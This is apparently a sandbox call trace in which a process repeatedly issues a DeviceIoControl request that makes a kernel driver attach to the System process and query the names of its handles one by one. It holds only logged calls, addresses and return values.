DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.146] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.146] PsAcquireProcessExitSynchronization () returned 0x0 [0064.146] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.146] ObReferenceObjectByHandle (in: Handle=0xffffffff800007cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800c5def20, HandleInformation=0x0) returned 0x0 [0064.146] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.146] PsReleaseProcessExitSynchronization () returned 0x2 [0064.146] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.146] ObQueryNameString (in: Object=0xfffffa800c5def20, ObjectNameInfo=0xfffffa80038e5044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e5044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.146] ObfDereferenceObject (Object=0xfffffa800c5def20) returned 0x2 [0064.146] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.146] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.146] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.146] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.146] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.146] PsAcquireProcessExitSynchronization () returned 0x0 [0064.146] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.146] ObReferenceObjectByHandle (in: Handle=0xffffffff800007d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002112e80, HandleInformation=0x0) returned 0x0 [0064.146] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.146] PsReleaseProcessExitSynchronization () returned 0x2 [0064.146] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.146] ObQueryNameString (in: Object=0xfffffa8002112e80, ObjectNameInfo=0xfffffa80038e6044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e6044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.146] ObfDereferenceObject (Object=0xfffffa8002112e80) returned 0x2 [0064.146] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.146] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.146] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.146] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.146] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.146] PsAcquireProcessExitSynchronization () returned 0x0 [0064.146] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.147] ObReferenceObjectByHandle (in: Handle=0xffffffff800007d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001a4d4b0, HandleInformation=0x0) returned 0x0 [0064.147] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.147] PsReleaseProcessExitSynchronization () returned 0x2 [0064.147] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.147] ObQueryNameString (in: Object=0xfffffa8001a4d4b0, ObjectNameInfo=0xfffffa80038e8044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e8044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.147] ObfDereferenceObject (Object=0xfffffa8001a4d4b0) returned 0x2 [0064.147] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.147] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.147] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.147] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.147] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.147] PsAcquireProcessExitSynchronization () returned 0x0 [0064.147] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.147] ObReferenceObjectByHandle (in: Handle=0xffffffff800007dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80020cb430, HandleInformation=0x0) returned 0x0 [0064.147] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.147] PsReleaseProcessExitSynchronization () returned 0x2 [0064.147] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.147] ObQueryNameString (in: Object=0xfffffa80020cb430, ObjectNameInfo=0xfffffa80038ea044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ea044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.147] ObfDereferenceObject (Object=0xfffffa80020cb430) returned 0x2 [0064.147] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.147] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.147] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.147] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.147] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.147] PsAcquireProcessExitSynchronization () returned 0x0 [0064.147] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.147] ObReferenceObjectByHandle (in: Handle=0xffffffff800007e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80019ee230, HandleInformation=0x0) returned 0x0 [0064.147] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.147] PsReleaseProcessExitSynchronization () returned 0x2 [0064.147] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.147] ObQueryNameString (in: Object=0xfffffa80019ee230, ObjectNameInfo=0xfffffa80038eb044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038eb044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.147] ObfDereferenceObject (Object=0xfffffa80019ee230) returned 0x2 [0064.147] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.147] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.147] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.148] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.148] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.148] PsAcquireProcessExitSynchronization () returned 0x0 [0064.148] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.148] ObReferenceObjectByHandle (in: Handle=0xffffffff800007ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80022cc570, HandleInformation=0x0) returned 0x0 [0064.148] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.148] PsReleaseProcessExitSynchronization () returned 0x2 [0064.148] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.148] ObQueryNameString (in: Object=0xfffffa80022cc570, ObjectNameInfo=0xfffffa80038ec044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ec044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.148] ObfDereferenceObject (Object=0xfffffa80022cc570) returned 0x2 [0064.148] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.148] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.148] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.148] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.148] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.148] PsAcquireProcessExitSynchronization () returned 0x0 [0064.148] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.148] ObReferenceObjectByHandle (in: Handle=0xffffffff800007f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002112890, HandleInformation=0x0) returned 0x0 [0064.148] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.148] PsReleaseProcessExitSynchronization () returned 0x2 [0064.148] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.148] ObQueryNameString (in: Object=0xfffffa8002112890, ObjectNameInfo=0xfffffa80038ed044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ed044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.148] ObfDereferenceObject (Object=0xfffffa8002112890) returned 0x2 [0064.148] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.148] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.148] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.148] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.148] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.148] PsAcquireProcessExitSynchronization () returned 0x0 [0064.148] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.148] ObReferenceObjectByHandle (in: Handle=0xffffffff800007f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001f08050, HandleInformation=0x0) returned 0x0 [0064.148] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.148] PsReleaseProcessExitSynchronization () returned 0x2 [0064.148] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.148] ObQueryNameString (in: Object=0xfffffa8001f08050, ObjectNameInfo=0xfffffa80038ee044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ee044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.149] ObfDereferenceObject (Object=0xfffffa8001f08050) returned 0x2 [0064.149] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.149] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.149] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.149] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.149] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.149] PsAcquireProcessExitSynchronization () returned 0x0 [0064.149] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.149] ObReferenceObjectByHandle (in: Handle=0xffffffff800007f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003b13260, HandleInformation=0x0) returned 0x0 [0064.149] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.149] PsReleaseProcessExitSynchronization () returned 0x2 [0064.149] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.149] ObQueryNameString (in: Object=0xfffffa8003b13260, ObjectNameInfo=0xfffffa80038f0044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f0044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.149] ObfDereferenceObject (Object=0xfffffa8003b13260) returned 0x2 [0064.149] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.149] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.149] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.149] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.149] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.149] PsAcquireProcessExitSynchronization () returned 0x0 [0064.149] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.149] ObReferenceObjectByHandle (in: Handle=0xffffffff800007fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80037adf20, HandleInformation=0x0) returned 0x0 [0064.149] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.149] PsReleaseProcessExitSynchronization () returned 0x2 [0064.149] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.149] ObQueryNameString (in: Object=0xfffffa80037adf20, ObjectNameInfo=0xfffffa80038f1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.149] ObfDereferenceObject (Object=0xfffffa80037adf20) returned 0x2 [0064.149] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.149] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.149] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.149] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.149] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.150] PsAcquireProcessExitSynchronization () returned 0x0 [0064.150] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.150] ObReferenceObjectByHandle (in: Handle=0xffffffff80000804, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80021148b0, HandleInformation=0x0) returned 0x0 [0064.150] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.150] PsReleaseProcessExitSynchronization () returned 0x2 [0064.150] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.150] ObQueryNameString (in: Object=0xfffffa80021148b0, ObjectNameInfo=0xfffffa80038f2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.150] ObfDereferenceObject (Object=0xfffffa80021148b0) returned 0x2 [0064.150] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.150] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.150] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.150] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.150] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.150] PsAcquireProcessExitSynchronization () returned 0x0 [0064.150] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.150] ObReferenceObjectByHandle (in: Handle=0xffffffff80000808, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80037b3690, HandleInformation=0x0) returned 0x0 [0064.150] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.150] PsReleaseProcessExitSynchronization () returned 0x2 [0064.150] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.150] ObQueryNameString (in: Object=0xfffffa80037b3690, ObjectNameInfo=0xfffffa80038f3044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f3044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.150] ObfDereferenceObject (Object=0xfffffa80037b3690) returned 0x2 [0064.150] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.150] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.150] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.150] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.150] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.150] PsAcquireProcessExitSynchronization () returned 0x0 [0064.150] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.150] ObReferenceObjectByHandle (in: Handle=0xffffffff8000080c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002112310, HandleInformation=0x0) returned 0x0 [0064.150] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.150] PsReleaseProcessExitSynchronization () returned 0x2 [0064.150] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.150] ObQueryNameString (in: Object=0xfffffa8002112310, ObjectNameInfo=0xfffffa80038f4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.151] ObfDereferenceObject (Object=0xfffffa8002112310) returned 0x2 [0064.151] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.151] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.151] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.151] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.151] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.151] PsAcquireProcessExitSynchronization () returned 0x0 [0064.151] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.151] ObReferenceObjectByHandle (in: Handle=0xffffffff80000810, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80037f0f20, HandleInformation=0x0) returned 0x0 [0064.151] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.151] PsReleaseProcessExitSynchronization () returned 0x2 [0064.151] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.151] ObQueryNameString (in: Object=0xfffffa80037f0f20, ObjectNameInfo=0xfffffa80038f6044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f6044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.151] ObfDereferenceObject (Object=0xfffffa80037f0f20) returned 0x2 [0064.151] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.151] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.151] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.151] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.151] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.151] PsAcquireProcessExitSynchronization () returned 0x0 [0064.151] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.151] ObReferenceObjectByHandle (in: Handle=0xffffffff80000814, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002119b80, HandleInformation=0x0) returned 0x0 [0064.151] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.151] PsReleaseProcessExitSynchronization () returned 0x2 [0064.151] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.151] ObQueryNameString (in: Object=0xfffffa8002119b80, ObjectNameInfo=0xfffffa80038fc044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038fc044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.151] ObfDereferenceObject (Object=0xfffffa8002119b80) returned 0x2 [0064.151] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.151] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.151] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.151] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.151] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.151] 